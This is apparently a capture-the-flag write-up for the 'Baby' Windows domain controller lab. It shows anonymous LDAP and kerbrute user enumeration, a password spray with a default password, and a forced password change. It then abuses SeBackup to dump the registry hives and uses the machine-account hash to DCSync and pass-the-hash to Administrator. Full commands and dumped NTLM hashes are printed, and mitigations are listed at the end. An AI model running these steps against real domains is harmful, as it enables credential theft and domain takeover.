Overview#
Baby is a nice beginner friendly machine. The exploit path is quiet straight forward and short lived, yet there are some pitfalls, where you can get stuck, if not proper enumeration is executed.
User#
Initial portscan and enum4linux shows no webserver and typical ports for a windows domaincontroller BABYDC under the domain baby.vl:
sudo nscan 10.129.154.160
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-11 14:47:50Z)
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
52872/tcp open msrpc Microsoft Windows RPC
59942/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
59943/tcp open msrpc Microsoft Windows RPC
59952/tcp open msrpc Microsoft Windows RPC
64894/tcp open msrpc Microsoft Windows RPC
Note: nscan is just a own scripted wrapper for nmap, which first scans all TCP ports if they are open and then any found port with nmapflag -A (all version and service enumeration).
enum4linux-ng 10.129.154.160
...
[+] Found domain information via SMB
NetBIOS computer name: BABYDC
NetBIOS domain name: BABY
DNS domain: baby.vl
FQDN: BabyDC.baby.vl
Derived membership: domain member
Derived domain: BABY
LDAP protocol allows null authentication with partially user enumeration. The PW BabyStart123! can be found for Teresa.Bell. Yet this password is no longer set.
└─$ netexec ldap BabyDC.baby.vl -u '' -p '' --users
LDAP 10.129.154.160 389 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.154.160 389 BABYDC [+] baby.vl\:
LDAP 10.129.154.160 389 BABYDC [*] Enumerated 9 domain users: baby.vl
LDAP 10.129.154.160 389 BABYDC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.154.160 389 BABYDC Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.129.154.160 389 BABYDC Jacqueline.Barnett 2021-11-21 16:11:03 0
LDAP 10.129.154.160 389 BABYDC Ashley.Webb 2021-11-21 16:11:03 0
LDAP 10.129.154.160 389 BABYDC Hugh.George 2021-11-21 16:11:03 0
LDAP 10.129.154.160 389 BABYDC Leonard.Dyer 2021-11-21 16:11:03 0
LDAP 10.129.154.160 389 BABYDC Connor.Wilkinson 2021-11-21 16:11:08 0
LDAP 10.129.154.160 389 BABYDC Joseph.Hughes 2021-11-21 16:11:08 0
LDAP 10.129.154.160 389 BABYDC Kerry.Wilson 2021-11-21 16:11:08 0
LDAP 10.129.154.160 389 BABYDC Teresa.Bell 2021-11-21 16:14:37 0 Set initial password to BabyStart123!
A first passwordspray doesn’t yield any positive results. Here lies a pitfall, if you don’t know, that other user enumerations are possible, which lead to additional users:
Userenum with kerbrute and userlists like from https://github.com/insidetrust/statistically-likely-usernames reveals additional users:
kerbrute userenum -d baby.vl --dc 10.129.154.160 /usr/share/wordlists/stats/all.txt
2025/10/11 17:03:51 > [+] VALID USERNAME: caroline.robinson@baby.vl
We are also able to parse through LDAP data directly with ldapsearch:
ldapsearch -x -b "dc=baby, dc=vl" "*" -H ldap://BabyDC.baby.vl | grep dn
...
dn: CN=dev,CN=Users,DC=baby,DC=vl
dn: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
dn: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
dn: CN=Hugh George,OU=dev,DC=baby,DC=vl
dn: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
dn: CN=Ian Walker,OU=dev,DC=baby,DC=vl
dn: CN=it,CN=Users,DC=baby,DC=vl
dn: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
dn: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
dn: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl
dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
Executing another passwordspray gives us different STATUS_PASSWORD_MUST_CHANGE :
netexec ldap BabyDC.baby.vl -u users -p 'BabyStart123!' --continue-on-success
LDAP 10.129.154.160 389 BABYDC [-] baby.vl\caroline.robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
We are able to change the password with impackets changepassed.py:
changepasswd.py 'baby.vl/caroline.robinson@BABYDC.baby.vl' -newpass 'Password123!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Current password:
[*] Changing the password of baby.vl\caroline.robinson
[*] Connecting to DCE/RPC as baby.vl\caroline.robinson
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.
With caroline.robinson we are able to login via WINRM, we can grab the user flag on the desktop.
evil-winrm -i BABYDC.baby.vl -u 'caroline.robinson' -p 'Password123!'
Root#
Simple privilege enumeration on caroline.robinson account reveals SeBackup and SeRestore are set.
whoami /all
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
With those privileges set we are able to backup and modify (through restore) any file on the file system.
netexec has a built in module to exploit the SeBackup privilege by copying and dumping Windows Registry Hives SAM, SYSTEM, SECURITY which gives us all NTLM hashes stored within:
netexec smb BabyDC.baby.vl -u 'caroline.robinson' -p 'Password123!' -M backup_operator
...
BACKUP_O... 10.129.154.160 445 BABYDC Saved HKLM\SAM to \\10.129.154.160\SYSVOL\SAM
BACKUP_O... 10.129.154.160 445 BABYDC Saved HKLM\SYSTEM to \\10.129.154.160\SYSVOL\SYSTEM
BACKUP_O... 10.129.154.160 445 BABYDC Saved HKLM\SECURITY to \\10.129.154.160\SYSVOL\SECURITY
...
BACKUP_O... 10.129.154.160 445 BABYDC Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
BACKUP_O... 10.129.154.160 445 BABYDC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BACKUP_O... 10.129.154.160 445 BABYDC DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BACKUP_O... 10.129.154.160 445 BABYDC $MACHINE.ACC:plain_password_hex:0d43eb797b84b0b440fbcb0d89fea14f8458970482b891850f2d2106c7c08447f2aa725adc71c58241311e5cebf5b75d43f5b541a43d583665ea4669bee9d1910c4ee1f4703104fccf44eb3ac2b3bb31ed1712e4fca7e416d3bd561993cd88a9750b0a04466909e51660a3fec061e9f5a51e8e10fe8c2653cd610140611ea9cd2fc1f436829369373bfb51fc5214666a9073e7a8124f4a07414ee0a7e565f24745f2ec5f134e7b7dca577813e5e82867ea33b16a1797c51703731eb1e4273db597063d62cb7f1c1a0faae15ab06aadea286b87cf6f2d28127fb948113c6b57c92a97c1aad038f958404b27f6e6d6fba5
BACKUP_O... 10.129.154.160 445 BABYDC $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d
BACKUP_O... 10.129.154.160 445 BABYDC dpapi_machinekey:0xe620195f1a5e2d71842bbad9877d7c3ca8a31eda
dpapi_userkey:0x026920834cd39c2e8ba9401c44a8869fe6be0555
BACKUP_O... 10.129.154.160 445 BABYDC NL$KM:b696c77e178a0cdd8c39c20aa2912444a2e44dc2095946c07f95ea11cb7fcb72ec2e5a06011b26fe6da7880fa5e71fa596cde53fa0065ec1a501a1ce8c247695
Trying to login with obtained NTLM hash for local Administrator user fails (even with --local-auth). There is one more step to it.
We also obtained the machineaccount hash for the domaincontroller. With it we are able to DCSync all currently hold secrets:
netexec smb BabyDC.baby.vl -u 'BABYDC$' -H '3d538eabff6633b62dbaa5fb5ade3b4d' --ntds
SMB 10.129.154.160 445 BABYDC Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
SMB 10.129.154.160 445 BABYDC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.129.154.160 445 BABYDC krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::
SMB 10.129.154.160 445 BABYDC baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8:::
SMB 10.129.154.160 445 BABYDC baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89:::
SMB 10.129.154.160 445 BABYDC baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1:::
SMB 10.129.154.160 445 BABYDC baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2:::
SMB 10.129.154.160 445 BABYDC baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c:::
SMB 10.129.154.160 445 BABYDC baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9:::
SMB 10.129.154.160 445 BABYDC baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f:::
SMB 10.129.154.160 445 BABYDC baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4:::
SMB 10.129.154.160 445 BABYDC baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8:::
SMB 10.129.154.160 445 BABYDC baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
SMB 10.129.154.160 445 BABYDC BABYDC$:1000:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d:::
With obtained domain administrator hash we are able to login to get the root flag on the desktop:
evil-winrm -i BABYDC.baby.vl -u 'Administrator' -H 'ee4457ae59f1e3fbd764e33d9cef123d'
Note: With machineaccount hash we could forge a silverticket and access the machine as any user. Privilege escalation is as well possible with S4U2self delegation attack.
Learning Points#
- Always enumerate users multiple ways
- Passwordspray on new found users
- Any machineaccount hash is most likely a full own against this machine. If its a DC, we own the domain.
Mitigation Points#
- Don’t allow any form of null authentication
- Don’t use any attribute in LDAP to store passwords in plaintext
- Check default passwords repeatedly on active accounts
- Apply least privilege possible on users and monitor high privileged users.
SeBackup/SeRestore(Backupoperators group) on any user means this user has immediately almost full admin rights

